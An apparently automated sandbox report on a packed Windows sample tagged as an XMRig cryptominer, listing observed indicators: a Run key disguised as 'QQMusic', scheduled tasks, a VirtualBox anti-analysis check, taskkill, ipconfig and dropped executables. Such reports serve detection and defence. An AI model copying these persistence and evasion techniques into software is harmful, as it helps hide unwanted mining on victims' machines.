Malware Analysis Report

2025-01-06 20:26

Sample ID 240614-nw88dsyhrg
Target 01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719
SHA256 01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719
Tags
xmrig miner persistence upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719

Threat Level: Known bad

The file 01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719 was found to be: Known bad.

Malicious Activity Summary

xmrig miner persistence upx

xmrig

XMRig Miner payload

Executes dropped EXE

UPX packed file

Enumerates connected drives

Adds Run key to start application

Checks for VirtualBox DLLs, possible anti-VM trick

Unsigned PE

Gathers network information

Suspicious use of WriteProcessMemory

Kills process with taskkill

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Creates scheduled task(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-14 11:46

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 11:45

Reported

2024-06-14 11:48

Platform

win11-20240611-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe" C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-423582142-4191893794-1888535462-1000\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe" C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A
N/A N/A C:\Windows\SysWOW64\ipconfig.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1988 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 1636 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1636 wrote to memory of 1000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1636 wrote to memory of 1000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1636 wrote to memory of 1000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3364 wrote to memory of 1468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3364 wrote to memory of 1468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3364 wrote to memory of 1468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1988 wrote to memory of 4752 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 4752 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 4752 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4752 wrote to memory of 4828 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4752 wrote to memory of 4828 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4752 wrote to memory of 4828 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 1988 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\SMB.exe
PID 1988 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\SMB.exe
PID 1988 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\SMB.exe
PID 1988 wrote to memory of 3624 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 3624 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 3624 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 3624 wrote to memory of 2828 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3624 wrote to memory of 2828 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3624 wrote to memory of 2828 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1988 wrote to memory of 4700 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 4700 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4552 wrote to memory of 404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4552 wrote to memory of 404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4552 wrote to memory of 404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 1988 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 5084 wrote to memory of 1332 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5084 wrote to memory of 1332 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5084 wrote to memory of 1332 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1988 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 2536 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 5832 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5832 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5832 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5904 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 5904 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 5832 wrote to memory of 5976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5832 wrote to memory of 5976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5832 wrote to memory of 5976 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1988 wrote to memory of 6124 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 6124 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 1988 wrote to memory of 5792 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5792 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 1988 wrote to memory of 5792 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 5792 wrote to memory of 4552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
